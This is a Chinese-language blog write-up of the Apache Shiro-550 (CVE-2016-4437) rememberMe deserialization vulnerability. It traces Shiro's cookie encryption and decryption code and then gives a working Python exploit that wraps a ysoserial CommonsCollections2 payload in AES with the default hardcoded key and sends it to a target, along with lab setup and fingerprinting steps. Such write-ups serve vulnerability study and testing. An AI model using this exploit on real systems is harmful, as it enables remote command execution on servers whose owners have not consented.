Shiro-550漏洞分析与复现

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

影响版本 Shiro <= 1.2.4

当后端接收到来自未经身份验证的用户的请求时,处理Cookie的流程是

  1. 检索cookie中RememberMe的值
  2. Base64解码
  3. 使用AES解密
  4. 反序列化

环境准备

或者使用vulhub来更方便的搭建整个靶场环境
首先我们先来分析下shiro的源码
先down下来,在IJ里面打开,然后静静地等它下载

漏洞分析

首先,我们先明确流程与对线,主要是研究在RememberMe之后的登录过程

加密

在打开RememberMe之后,其下一步就是加密,那我们先找到RememberMe这个地方

core/src/main/java/org.apache.shiro/mgt/AbstractRememberMeManager
然后找到判断RememberMe和登录认证的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
//always clear any previous identity:
forgetIdentity(subject);

//now save the new identity:
if (isRememberMe(token)) {
rememberIdentity(subject, token, info);
} else {
if (log.isDebugEnabled()) {
log.debug("AuthenticationToken did not indicate RememberMe is requested. " +
"RememberMe functionality will not be executed for corresponding account.");
}
}
}

我们来分析跟进一下
首先是在onSuccessfulLogin函数中forgetIdentity(subject);,清除了认证信息,然后通过isRememberMe
先来跟进该函数

1
2
3
4
protected boolean isRememberMe(AuthenticationToken token) {
return token != null && (token insta nceof RememberMeAuthenticationToken) &&
((RememberMeAuthenticationToken) token).isRememberMe();
}

就是个通过RememberMe来判断是否有认证信息的函数,没什么东西,那回来往下看
接着就是这个东西,我们继续跟进rememberIdentity(subject, token, info);

1
2
3
4
public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
PrincipalCollection principals = getIdentityToRemember(subject, authcInfo);
rememberIdentity(subject, principals);
}

首先调用了getIdentityToRemember函数,用来判断是获取用户身份
接着跟进rememberIdentity函数

1
2
3
4
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
rememberSerializedIdentity(subject, bytes);
}

看函数名convertPrincipalsToBytes应该是把accountPrincipals转换为了Byte类型,也可以跟进看看

1
2
3
4
5
6
7
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}

在这里居然藏了一个序列化,还有加密,我们跟进这个加密看看

1
2
3
4
5
6
7
8
9
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
value = byteSource.getBytes();
}
return value;
}


在debug中可以看到,这里是用到了CBC模式,对序列化后的用户root进行的AES加密,通过getEncryptionCipherKey来获取密钥信息,继续跟进这个函数

1
2
3
public byte[] getEncryptionCipherKey() {
return encryptionCipherKey;
}

可以看到,这里是返回的固定常量
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

也可以很明显的看到,改密钥也是唯一使用的常量密钥

清楚这一点之后我们再回到rememberIdentity函数中的rememberSerializedIdentity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {

if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " +
"request and response in order to set the rememberMe cookie. Returning immediately and " +
"ignoring rememberMe operation.";
log.debug(msg);
}
return;
}


HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);

//base 64 encode it and store as a cookie:
String base64 = Base64.encodeToString(serialized);

Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
}

这里的主要过程就是个base64编码,然后放到cookie里面

这里整个存入的流程就就结束了,还是十分好理解且逻辑清晰的

序列化—>AES加密—>base64编码—>设置到cookie中的rememberme字段

解密

解密过程的分析,我们首先找到收到认证时的地方

core/src/main/java/org.apache.shiro/mgt/DefaultSecurityManager

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) {
RememberMeManager rmm = getRememberMeManager();
if (rmm != null) {
try {
return rmm.getRememberedPrincipals(subjectContext);
} catch (Exception e) {
if (log.isWarnEnabled()) {
String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() +
"] threw an exception during getRememberedPrincipals().";
log.warn(msg, e);
}
}
}
return null;
}

接着我们还是来逐步分析,最开始是getRememberMeManager函数

1
2
3
public RememberMeManager getRememberMeManager() {
return rememberMeManager;
}

简单的获取用户信息
接着就是getRememberedPrincipals函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}

return principals;
}

这里调用的函数有点多,我们一个一个来看,首先是getRememberedSerializedIdentity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}

WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}

HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);

String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}

首先是getCookie().readValue读取cookie,再通过ensurePadding函数进行base64的解码
然后进到convertBytesToPrincipals函数,继续跟进

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

实现了一个解密,然后反序列化,而这个decrypt肯定与前面的加密对称,为CBC模式的AES
那整个的读取流程也结束了

读取cookie中的rememberMe—>base64解码—>AES解密—>反序列化

POC EXP

根据apache的版本

1
2
3
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>

所以EXP可以直接使用CommonsCollections2的链子,利用ysoserial生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import base64
import sys
import uuid
import subprocess

import requests
from Crypto.Cipher import AES


def encode_rememberme(command):
# 这里使用CommonsCollections2模块
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)

# 明文需要按一定长度对齐,叫做块大小BlockSize 这个块大小是 block_size = 16 字节
BS = AES.block_size

# 按照加密规则按一定长度对齐,如果不够要要做填充对齐
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

# 泄露的key
key = "kPH+bIxk5D2deZiIxcaaaA=="

# AES的CBC加密模式
mode = AES.MODE_CBC

# 使用uuid4基于随机数模块生成16字节的 iv向量
iv = uuid.uuid4().bytes

# 实例化一个加密方式为上述的对象
encryptor = AES.new(base64.b64decode(key), mode, iv)

# 用pad函数去处理yso的命令输出,生成的序列化数据
file_body = pad(popen.stdout.read())

# iv 与 (序列化的AES加密后的数据)拼接, 最终输出生成rememberMe参数
base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))

return base64_rememberMe_value


def dnslog(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_rememberMe_value


if __name__ == '__main__':
# cc2的exp
payload = encode_rememberme('C:\\WINDOWS\\System32\\calc.exe')
print("rememberMe={}".format(payload.decode()))

# dnslog的poc
payload1 = encode_rememberme('https://glacierrrr.online')
print("rememberMe={}".format(payload1.decode()))

cookie = {
"rememberMe": payload.decode()
}

requests.get(url="http://127.0.0.1:8080/web_war/", cookies=cookie)

漏洞利用

这里可以直接用vulhub更快的搭建

1
2
3
cd /vulhub/shiro/CVE-2016-4437
docker-compose build
docker-compose up -d


搭建好后,8080端口就可以看到shiro框架的登录界面了

判断shiro

我们先用burp suite抓个包看一下

接着我们在报文头中加入Cookie: rememberMe=123;

再返回的报文中,也可以清楚的看到rememberMe=deleteMe
这个就是判断shiro框架的信息
或者使用bp的插件BurpShiroPassiveScan

这样bp会自动检测,并直接爆出shiro的漏洞

利用shiro

可以使用我们上面给出的exp,利用ysoserial直接打

或者直接使用集成化较高的工具,扫描并利用


Shiro-550漏洞分析与复现
https://glacierrrr.online/2023/01/04/Shiro-550漏洞分析与复现/
作者
Glacier
发布于
2023年1月4日
许可协议